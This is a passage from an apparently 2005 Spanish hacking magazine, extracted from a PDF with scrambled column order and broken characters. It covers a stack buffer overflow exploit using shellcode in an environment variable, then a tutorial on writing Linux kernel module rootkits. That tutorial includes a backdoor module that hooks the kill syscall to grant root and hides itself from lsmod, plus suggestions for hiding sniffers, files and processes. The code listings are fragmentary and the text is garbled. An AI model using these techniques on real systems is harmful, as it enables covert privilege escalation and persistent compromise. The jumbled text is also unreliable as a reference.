Aqu tenemos las variables de entorno de nuestro progra ma, y lo ltimo que vemos es el nombre del propio progra ma. Como veis, todo eso est en la pila, y nada nos impide usarlo para nuestros fines Adems, el gdb es tan bueno que nos brinda la direccin de la propia variable, as que no tenemos que buscar mucho ms. Sin embargo, es un poco coazo estar lanzando el gdb y buscando la variable cada vez que queramos averiguarlo, as que vamos a ha cernos un programita en C que nos lo haga: Cdigo env.c : #include <stdio.h> int main(int argc, char *argv[]){ char *var; if(argc>1){ var=getenv(argv[1]); 51/68
Vamos pues a poner nuestra shellcode en una variable de entorno, y tratar de ejecutarla mediante el buffer overflow: tuxed@athenea:~/Articulos HxC$ export SCODE=`cat scode` tuxed@athenea:~/Articulos HxC$ cp enviro envi tuxed@athenea:~/Articulos HxC$ ./envi SCODE La variable SCODE est en la direccin 0xbffffaf0 tuxed@athenea:~/Articulos HxC$ Bueno, ahora que ya tenemos la direccin, tan slo nos queda rellenar el buffer de forma que la direccin de retor no sobrescrita sea la de nuestra variable, para luego gozar de esa shell que nos brinda. Antes debemos hacer 'real mente vulnerable' nuestro programita, dndole privilegios de root, tal como he explicado antes: athenea:/home/tuxed/Articulos HxC# chown root bof2;chmod u+s bof2; athenea:/home/tuxed/Articulos HxC# exit Ahora, recuerda, tenemos un buffer que rellenar con 32 bytes. Si cada direccin de memoria ocupa cuatro bytes, 52/68
Para acabar, os comentar algunas posibles formas de so lucionar este tipo de errores. Cuando estamos programan do, siempre que usemos una cadena de caracteres, debe mos tener mucho cuidado con los desbordamientos. Cada vez que realicemos una copia de cadenas, cada vez que leamos una cadena proporcionada por el usuario, debemos tener en cuenta la limitacin del tamao del buffer, o bien usar variables dinmicas. Como soluciones, existen li breras de cadenas seguras, como por ejemplo SafeStr(http://www.zork.org/safestr/ ), o bien el uso de funciones 'seguras', como strncpy o similares. Existen va rios manuales de programacin segura en la red, as como libros en formato impreso que hablan sobre ello, como por ejemplo Secure Programming Cookbook for C and C++ de O'Reilly( http://www.secureprogramming.com ). A parte de las soluciones en cuanto a programacin, pode mos proteger nuestro sistema con distintos parches de se guridad para el kernel. Algunos ejemplos de ellos son Gr S e c u r i t y ( h t t p : / / w w w . g r s e c u r i t y. n e t ) o P a X (http://pax.grsecurity.net/ ) . As se puede conseguir pilas no ejecutables, lo que no nos permitira guardar nuestro cdigo en ella, pues luego no podramos ejecutarlo, o tam bin que las variables cada vez tengan unas direcciones de memoria distintas, con lo que no podramos acertar la direccin de nuestro buffer para lograr que la ejecucin de nuestro programa cayera en la shellcode. En el primer caso, el de las pilas no ejecutables (nonexecutable stack), existen mtodos de ataque conocidos, que se basan en saltar hacia libreras del sistema, que es
53/68
En las entraas del pingino En 1991 alguien llamado Linus B. Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento. Como es de imaginar, el Sistema Operativo de Microsoft cutre de la poca (conocido como DOS) no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido). As que Linus cogi otro sistema llamado "Minix" con A. Tanembaum como principal desarrollador y empez a implemen tar y reprogramar funcionalidades hasta el punto en el que en 1991 ya disponamos de la versin de 0.01 de Linux (contraccin Linus + Unix), que estaba muy lejos de ser lo que hoy es el potente sistema operativo LINUX. La primera versin oficial (la 0.02) data del 5 de Octubre de 1991 y ya permita ejecutar ciertos programas 'GNU' como 'bash'. Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versin "estable" 1.0 de nuestro querido sistema operativo de forma totalmente independiente y libre Por supuesto desde esa versin 1.0 hasta la actual serie 2.6.x han cambiado muchsimas cosas... pero una nunca lo hace, siempre tenemos el cdigo fuente y el control total de lo que pueda hacer o no hacer el kernel o ncleo de nuestro sistema. En este artculo vamos a dar un interesante paseo por el corazn de nuestro pingino favorito pasando por los kernels 2.0, 2.2, 2.4 hasta llegar a la actual serie 2.6.x (en el momento de escribir estas lneas) con el propsito de comprender algunas cosas de su funcionamiento que nos sirvan para destripar literalmente el ncleo, alguien puede desconfiar ahora de nuestras "dudosas intenciones"... y no sin motivo porque vamos a hackear literalmente el kernel de Linux Empecemos
54/68
NOTA
No te atreves a instalar LINUX en tu PC porque temes incompatibilidades con tu Windows? No quieres arriesgate? Esta editorial ha sacado al mercado una nueva revista llamada PC SUPERMANUALES. En su nmero 2, que estar disponible en todos los kioscos en la primera semana de Marzo del 2005, se tratar el tema de las mquinas virtuales. Podrs instalar todos los Sistemas Operativos que quieras sin miedo ninguno a "estropear" tu Windows
cdigo fuente de la versin del Kernel que se pretende instalar, por otro lado los usuarios de Mandrake, SuSe o distribuciones basadas en RPM pueden ejecutar en su sistema: rpm -i "kernel-2.6.9.rpm" para instalar ese paquete concreto. En cualquier caso lo que importa es que al final - y una vez ms dependiendo del sabor de Linux que utilices tendremos en el directorio /usr/src otra nueva entrada que contiene el cdigo fuente, en el ejemplo: /usr/src/linux-2.6.9 o algo similar as mismo es altamente recomendable - por no decir necesario - disponer de un enlace simblico en
Bien, para lo que vamos a ir viendo que es, entre otras cosas, el kernel de Linux, necesitaremos algo fundamental... un Kernel Puedes estar pensando <<Pero si estoy en Linux ahora... acaso no tengo ya un kernel?>> pues s, pero lo que necesitamos son LAS FUENTES del Kernel y no un ncleo en ejecucin (aunque tambin evidentemente), es decir, que necesitars tener Linux instalado en tu sistema y los "sources". En la URL www.kernel.org
"/usr/src/linux" apuntando a las fuentes actuales del Kernel que est funcionando, desde all podemos crear ese enlace mediante la orden 'ln -s' tal que as: ln -s /usr/src/linux-`uname -r` linux O tambin ln s /usr/src/linux-$(uname r) linux Una vez hecho esto podemos echar un vistazo al directorio que contiene las fuentes del ncleo "ls /usr/src/linux" y observar que el cdigo sigue una organizacin muy concreta donde por ejemplo: "fs" contiene los sistemas de archivos "init" es el main() de Linux "kernel" contiene las principales llamadas al sistema "lib" diversos mdulos "arch" el cdigo dependiente de la arquitectura, son algunos de los directorios que aparecen. Otras cosas que debes tener instaladas en tu sistema son el compilador "GCC" y opcionalmente el debugger "GDB" junto con todas aquellas cosas que sean requeridas o puedan venirte bien para el desarrollo. Ser estrictamente necesario disponer del cdigo fuente del Kernel (2.4.x y 2.6.x) y de gcc para poder compilar los programas que
Puedes bajarte un tarball con el cdigo fuente pero por lo general y dependiendo de tu sabor de Linux dispones de paquetes o de alguna manera de obtener el cdigo directamente desde un CD-ROM o a travs de Internet, por ejemplo, los usuarios de Debian pueden ejecutar en su sistema: apt-cache search kernel y apt-get install kernel-2.6.9
iremos viendo. En cualquier caso - y antes de continuar - te recomiendo que hagas una copia segura de los datos de tu disco duro y que NO pruebes el cdigo que te presentar en ordenadores dedicados a la produccin y/o que contengan datos importantes... especialmente si son ajenos
55/68
Como ya sabrs el ncleo del sistema operativo se encuentra en un modo privilegiado para operar con la mquina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al ncleo para que realice por nosotros aquellas cosas que no se nos est permitido hacer de forma directa. A la zona de memoria del ncleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o "userland" simple no?. Si estando en el espacio del kernel cometemos algn fallo o saltamos a una direccin de memoria equivocada es ms que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino "kernel panic" y un festival de volcados de memoria que te obligarn a reiniciar la mquina en el peor de los casos no tendrs tus discos sincronizados y tu mquina se reiniciar de inmediato por lo que se recomienda sincronizarlos (comando 'sync' desde la consola) con el fin de no perder aquellos datos no volcados an al disco y dems. Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo haramos en nuestros programas habituales dentro del espacio de usuario, pero de todas formas eso lo veremos en breve.
Aquellos archivos de cabecera usados por el preprocesador de C se sitan en el directorio /usr/include y definirn la interfaz de aquellos programas que son compilados, aqu entrara por ejemplo <stdio.h>. Estos archivos de cabecera (o "headers" en ingls) se enlazan con la biblioteca de C que es distribuida de forma independiente al ncleo, por otro lado el Kernel tambin dispone de archivos de cabecera que se usan para su compilacin y que se encuentran en '/usr/src/linux/include' aqu tenemos el directorio 'linux' que contiene declaraciones que no dependen de la arquitectura y 'asm' para las que s dependen de la arquitectura.
Ahora vamos a compilar y ejecutar el ejemplo para ver si funciona as podrs sacar las conclusiones pertinentes, n o t a q u e l a s a l i d a p u e d e va r i a r l i g e ra m e n t e e n t u ordenador. 56/68
En primer lugar qu es una llamada al sistema? Como te he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del ncleo para trabajar con la mquina con total libertad. De sta manera podemos definir una llamada al sistema como la peticin transmitida por un proceso al ncleo que trata esta peticin con todos los privilegios, devuelve un resultado al proceso y lo hace seguir de forma normal. Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccin concreta (Int 0x80) que le hace pasar al modo ncleo y as atender su propia llamada al sistema mediante cierta rutina del ncleo. Por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario. Puedo implementar mis propias rutinas de sistema, recompilar el kernel y poder usarlas en mis programas sin ms? S, por supuesto, y adems no es nada complicado siempre y cuando tengas en cuenta que debers declarar tu funcin explcitamente ya que seguramente no vendr incorporada en la biblioteca de C. Pero nosotros no vamos a entretenernos creando nuevas llamadas al sistema, tenemos otro trabajo que hacer jeje.
Para cargar y descargar mdulos tienes a tu entera disposicin (como root) dos comandos que son: -- 'insmod lmk.o' para insertar -- 'rmmod lkm' para descargar un mdulo Estos programas pueden diferir segn el tipo de Kernel que tengas, para cada caso necesitars instalar los adecuados. En el caso de la serie 2.6 los mdulos se insertan mediante 'insmod lmk.ko' en lugar de ".o" En cualquier momento puedes ver que mdulos hay cargados mediante 'lsmod'. Pero la verdad es que todo eso as sin ms no tiene demasiado sentido lo mejor ser dar paso al siguiente listado que iremos explicando paso a paso y que es vlido para los ncleos de la serie 2.2 y 2.4 (tambin lo es de hecho para la serie 2.6 pero existen ciertas particularidades a tener en cuenta as que lo vemos ms adelante por separado). //---------------- listado 2 ------------------#define MODULE #define __KERNEL__ #include <linux/version.h> #include <linux/kernel.h> #include <linux/module.h> MODULE_PARM(parm_entero, "i"); int parm_entero; int init_module() { printk("HxC LKM cargado!\n"); printk("parm_entero vale:%i\n", parm_entero); return 0; } void cleanup_module() { printk("HxC LKM descargado!\n"); } MODULE_LICENSE("HxC - GPL"); MODULE_AUTHOR("HxC - PcPaso a Paso"); //---------------- final listado 2 --------------Muy bien, ahora se supone que tenemos que compilar y probar ese cdigo pero para explicarte como funciona y como cargarlo tenemos que pasar el siguiente punto
Por fin, ya estamos en la parte ms importante de ste artculo de cara a conseguir el objetivo que estamos persiguiendo. Vamos all. Existen varios componentes en el ncleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos, por ejemplo si ningn usuario necesita trabajar con particiones NTFS podemos no cargar el mdulo que nos permite trabajar con el sistema de ficheros NTFS. Sin embargo, cualquier cosa que modifiquemos del ncleo como aadir o eliminar algn gestor de dispositivo, implicaran tener que recompilar el ncleo si no disponemos de una manera de "extenderlo" en caliente. Afortunadamente, s disponemos de los mdulos cargables del kernel o "Loadable Kernel Modules" (LKM a partir de ahora) que nos permiten dotar de modularidad al ncleo. Estos LKM's se integrarn dinmicamente en el Kernel si los necesitamos o tambin cuando insertamos un mdulo a mano, slo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio ncleo claro est. Nota tambin que debers tener el soporte para mdulos cargables habilitado en el ncleo, por lo general el soporte viene habilitado pero puede haber algunas distribuciones que por unos motivos u otros no permitan la carga d i n m i c a d e m d u l o s , d e m a n e ra q u e t e n d r s q u e recompilar tu Kernel llegado el caso.
Como iba diciendo tenemos un mdulo que compilar, para ello usaremos gcc pero no de la misma forma con la que compilaras un programa normal en C. Para compilar el ejemplo anterior debers usar algo como lo siguiente asumiendo que "/usr/src/linux" apunta al directorio con las fuentes del kernel: 57/68
description: <none> author: license: parm: "HxC - PcPaso a Paso" "HxC - GPL" parm_entero int
Es posible que al intentar insertar el mdulo te haya dicho algo as como que no encuentra la versin del Kernel o que la versin del Kernel para la que fue compilado el LKM no coinciden, puedes solucionar esto editando "/usr/src/linux/include/linux/version.h" y adaptarlo para que sea la misma versin que la indicada por 'uname -r' (es una medida para salir del paso pero funcionar). Pero veamos las cosas importantes, en primer lugar fjate que tenemos que declarar ciertas macros e incluir unos f i c h e r o s c o n c r e t o s , s i n o e l p r o g ra m a n o c o m p i l a r debidamente ya que lo que estamos compilando es un mdulo que ser insertado en el Kernel. De esas tres macros que son --- "MODULE_PARM" --- "MODULE_AUTHOR" --- "MODULE_LICENSE"
Ha llegado ese momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras "oscuras intenciones" de manera que las vamos a declarar en nuestro mdulo: extern void *sys_call_table[]; Con eso ya podremos acceder al vector que sirve de contenedor para saber dnde tenemos que saltar en la memoria al realizar llamada, lo cual no es poca cosa, jeje. Nadie dice que no podamos meter nuestras zarpas en ese vector y enganchar ("hook") literalmente una rutina que se ejecutara en lugar de la supuesta syscall a la que se llam m m m c o m p l i c a d o ? Q u e va , t e p o n g o u n o ejemplos que te lo aclararn.
58/68
59/68
Por el precio de modificar una lnea podemos hacer que un usuario no root pase a coronarse con uid 0 ya sabes cmo? Efectivamente basta con modificar la lnea en la que llamo al setuid(uid_t) real por: res=(* hook_suid)(0); Ya tenemos controlado setuid(0). Ahora te invito a contro lar la syscall SYS_kill, seguro que con todo lo que has visto arriba no ser nada complicado manipularla y puede resul tar interesante proteger programas que corren en el espa cio de usuario sin privilegios pero que no queremos que puedan ser matados por cualquiera mediante "kill -9 pid", visita "<linux/syscalls.h>" para ver como pinta SYS_kill.
Con todo lo que sabes est totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root, de hecho un LKM es una forma muy elegante de hacerlo. En el siguiente listado veremos un mdulo que dar privi legios efectivos de root (euid=0) al user que intente man dar la seal '-0' mediante 'kill' a un proceso con un pid determinado por "COOLPID", bastar con ejecutar lo si guiente: linux$ kill -0 00000 (al hacer 'id' vers lo que ocurre). Por supuesto no nos interesa que nadie sepa que tienes un mdulo cargado (imagina hacer 'lsmod' y ver un mdulo llamado "backdoor" xD) por lo que al inicializar la carga del mismo haremos que "desaparezca" ---> el co mo te lo explico a continuacin despus de que te mires un poco el cdigo que aunque est claro que es infinita mente mejorable, como ejemplo es perfecto //---------------- BACKDOOR1.c (listado 6) --------------#define __KERNEL__ #define MODULE #include <linux/kernel.h> #include <linux/version.h> #include <linux/module.h> #include <asm/unistd.h> #include <linux/sched.h> #define COOLPID 00000 EXPORT_NO_SYMBOLS; extern void *sys_call_table[]; int (*killsysc)(pid_t pid,int sig);
60/68
En primer lugar djame aclararte que todo lo visto arriba tambin te servir para los ncleos de la serie 2.6 por lo general aunque tendrs que hacer algunas modificacio nes para adaptar el cdigo, por ejemplo, vamos a ver el primer LKM bsico para un ncleo 2.6 //--------------- inicio listado 7 --------------#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> static int __init carga(void) { printk(KERN_INFO "HxC: LKM preparado!\n"); return 0; }
Muy bien, ahora mismo ests viendo un par de cosas que te tendrn descolocado, en primer lugar qu es ese "EX PORT_NO_SYMBOLS"? Resulta que al insertar el mdulo nuestras con nuestras funciones se exportan y as los sm bolos pueden ser usados por otros mdulos, si ejecutas: $cat /proc/ksyms vers la lista de smbolos exportados actualmente en el Kernel, lo que puede ser bastante sospechoso para nuestro backdoor, no cuesta nada NO exportar los smbolos me diante esa macro. Me gustara que eches un vistazo "<linux/module.h>" por que de ah he sacado la informacin para la estructura "module" que he utilizado entre otras cosas- para ocultar el mdulo. Como el Kernel guarda una lista simple enlaza da con los mdulos cargados es muy fcil reajustar los punteros al mdulo siguiente para eliminar un elemento existente. Al insertar un nuevo mdulo ste pasa a ser la referencia al inicio de la lista, de manera que se complica el poder quitarnos a nosotros mismos del medio. La solucin como habrs visto no es compleja de entender. Lo que hacemos es coger el siguiente mdulo a nosotros en la lista, obtener sus propiedades (las que 'lsmod' muestra) y sacar al mdulo suplantado de la lista enlazada, lo que no deshabi lita el mdulo simplemente lo oculta, se trata de un camu flaje simple pero funciona y eso es lo que vale . El resto del cdigo es lo que venimos haciendo, hemos in terceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a "hook (pid_t,pid)" que verifica si "pid_t = 0 y pid = COOLPID" si es as establece los privi legios del proceso a uid =0 (root) y euid=0, la autntica
static void __exit descarga(void) { printk(KERN_INFO "HxC: Nos vamos..."\n"); } module_init(carga); module_exit(descarga); //---------- final listado 7 ------------------------Lo que notars rpidamente es que he aadido "<li nux/init.h>" para las macros "module_init" y "modu le_exit". El caso es que el mtodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros, lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos. Otra cosa, he aadido ah "KERN_INFO" a printk, cosa que hasta ahora no haba hecho. Esto sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad "DEFAULT_MESSAGE_LOGLEVEL"
61/68
No aparecen arriba "#define __KERNEL__" y "MODULE" ya que si lo haces seguramente se te advertir de que las de claraciones estn redefinidas.
Puede que alguien ya se me haya adelantado a compilar el ejemplo anterior y habr visto que no pudo ser, jeje para los mdulos que tengan como destino la nueva serie usa remos una forma un tanto ms sofisticada. En primer lugar necesitaremos crear un fichero llamado "Makefile" cuyo contenido sea: obj-m := modulo.o Explicar ahora el funcionamiento de los Makefile y dems escapa de las pretensiones de ste artculo pero qudate con que "modulo.o" es el nombre del LKM que deseas compilar. Hecho esto y situados en un directorio que contiene tanto el "modulo.c" como el fichero Makefile ejecutamos lo si guiente: root# make -C /usr/src/linux SUBDIRS=$PWD modules Una vez terminado el proceso tendrs un "modulo.ko" ge nerado listo para que lo insertes de manera habitual con 'insmod', para eliminar el mdulo se hace de igual forma con 'rmmod'.
Lo ideal sera que edites (slo lectura) "arch/i386/entry.S" con tu editor favorito para buscar una parte igual o muy similar a la que te muestro, el siguiente cdigo es de un Kernel 2.6.9 en un 2.4 cambia ligeramente pero la idea es la misma. //--------------- de entry.S lnea 277 ? ----------------ENTRY(system_call) pushl %eax SAVE_ALL GET_THREAD_INFO(%ebp)
testb $(_TIF_SYSCALL_TRACE|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
De nuevo si eres impaciente habrs ido rapidito a compilar el backdoor que se present para la serie 2.4 y te habr salido un error de aquellos que no sabes por donde coger y es que la famosa Sys_call_table que usbamos para en ganchar las syscalls ya no est disponible para su uso in discriminado... pues vaya m*erd*! Je,je no pasa nada algo tenemos que hacer y lo haremos, slo supondr un poco ms de trabajo
62/68
63/68
64/68
Lo que hace execve es bsicamente ejecutar otro programa, pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los parmetros. Pero el Kernel y nosotros estamos preparados para ese problemilla. Si miras en unistd.h vers que hay una serie de syscalls nulas, sin ir ms lejos la #222 no est , es una "sys_ni_syscall" y pide a gritos que la usemos, por lo que movemos la SYS_execve original a esa posicin nula (u otra de tu conveniencia) para llamarla desde otra funcin nuestra... pero claro cmo llamamos a execve? Si lo hacemos directamente la cosa no va a funcionar por lo que te comentaba y si hacemos el hook, eso que es imprescindible que suceda no va a pasar, de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel no? Abre nuevamente unistd.h y fjate en un trozo de cdigo al final que referencia a la macroinstrusin "_syscall3" : //---------------------- _syscall3------------------long __res; \ __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name),"b" ((long)(arg1)),\ "c" ((long)(arg2)), \ "d" ((long)(arg3))); \ __syscall_return(type,__res); \
Pues s, ahora que ya tenemos la Sys_call_table no es complicado - ni mucho menos- trasladar el backdoor presentado antes para 2.4 a la serie 2.6 pero ya que estamos puestos deberamos implementar algunas otras funcionalidades o al menos plantear cosas que podramos hacer ahora puesto que tenemos el control de las syscalls. El nico limite es nuestra imaginacin.
Dentro de lo que cabe hemos sido ni@s buenos con esos mdulos pero si pensamos un poco en seguida vemos que se pueden hacer cosas mucho ms potentes que las que hemos tratado arriba con un propsito educativo (como siempre jeje) pero no es el momento de verlas ahora pues ya sera demasiado para empezar... o quizs no ? mira, lo que si que har es plantearte unas cuantas cosas para que "las reflexiones en C"
} //-----------------final_syscall3---------------------Vale, dije que evitara el ensamblador y es lo que estoy haciendo Si te fijas execve() requiere tres argumentos y esa macrointrusin (expandida por el preprocesador) permitir llamar a una funcin con tres parmetros. En el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del procesador y desencadena la Int 0x80, en caso de error se pone en la variable global "errno", el cdigo de error y se retorna -1, si tiene xito se vuelve a quien llam Nos bastar entonces con rellenar esa macrointrusin adecuadamente en una funcin "mi-execve" que quedara como esta sabiendo que __NR_mi_execve sustituye a la __NR_execve original.
Si en el nmero 26 de la revista ya mencionbamos que un sniffer se poda esconder muy pero que muy bien era por algo... resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese "PROMISC" delatador mediante la syscall "SYS_ioctl", se pueden hacer otras muchas cosas con eso si pensamos en lo que hace "ioctl()" que es controlar dispositivos
Qu hacemos al abrir un fichero? ...Usar "getdents()", y para mirar los procesos mapeados en /proc? ...Usar
65/68
//---------------------- mi_execve -------------------int mi_execve ( c o n s t c h a r * f i l e n , c h a r * c o n s t a rg v [ ] , c h a r * c o n s t e n v p [ ] ) { int errno; long __res; __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_mi_execve),"b" ((long)(filen)),\ "c" ((long)(argv)), \ "d" ((long)(envp))); \ __syscall_return(long,__res); \ } } //--------------- final mi_execve -------------------
Como ves, las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema tro yanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al milme tro todo lo que sucede y poder hacer un seguimiento ex haustivo de las acciones de un atacante.
Bueno jeje, ahora ya tienes los conocimientos necesarios para hacer un rootkit y atacar sistemas Linux justo al ncleo, de la proteccin hablaremos cuando llegue el mo mento, tiempo al tiempo, no te pierdas los prximos nmeros seguro que te gustarn.
66/68
TU EN YA
!!! CO OS UI Q
NMERO1: -CREA TU PRIMER TROYANO INDETECTABLE POR LOS ANTIVIRUS. -FLASHFXP: SIN LMITE DE VELOCIDAD. -FTP SIN SECRETOS: PASVMODE. -PORT MODE/PASV MODE Y LOS FIREWALL: LA UTILIDAD DE LO APRENDIDO. -TCP-IP:INICIACIN (PARTE 1). -EL MEJOR GRUPO DE SERVIDORES FTP DE HABLA HISPANA. -EDONKEY 2000 Y SPANISHARE. -LA FLECHA CIDA.
NMERO 2: -CODE/DECODE BUG: INTRODUCCIN. -CODE/DECODE BUG: LOCALIZACIN DEL OBJETIVO. -CODE/DECODE BUG: LNEA DE COMANDOS. -CODE/DECODE BUG: SUBIENDO ARCHIVOS AL SERVIDOR REMOTO. -OCULTACIN DE IP: PRIMEROS PASOS. -LA FLECHA CIDA: LA SS DIGITAL. AZNAR AL FRENTE DE LA SS DEL SIGLO XXI.
NMERO 3: -PROXY: OCULTANDO NUESTRA IP. ASUMIENDO CONCEPTOS. -PROXY: OCULTANDO NUESTRA IP. ENCADENANDO PROXIES. -PROXY: OCULTANDO NUESTRA IP. OCULTANDO TODOS NUESTROS PROGRAMAS TRAS LAS CADENAS DE PROXIES. -EL SERVIDOR DE HACKXCRACK: CONFIGURACIN Y MODO DE EMPLEO. -SALA DE PRACTICAS: EXPLICACIN. -PRCTICA 1: SUBIENDO UN ARCHIVO A NUESTRO SERVIDOR. -PRCTICA 2: MONTANDO UN DUMP CON EL SERV-U. -PRCTICA 3: CODE/DECODE BUG. LNEA DE COMANDOS. -PREGUNTAS Y DUDAS.
NMERO 7: - PROTOCOLOS: POP3 - PASA TUS PELICULAS A DIVX III (EL AUDIO) - PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO) - CURSO DE VISUAL BASIC: LA CALCULADORA - IPHXC: EL TERCER TROYANO DE HXC II - APACHE: UN SERVIDOR WEB EN NUESTRO PC - CCPROXY: IV TROYANO DE PC PASO A PASO - TRASTEANDO CON EL HARDWARE DE UNA LAN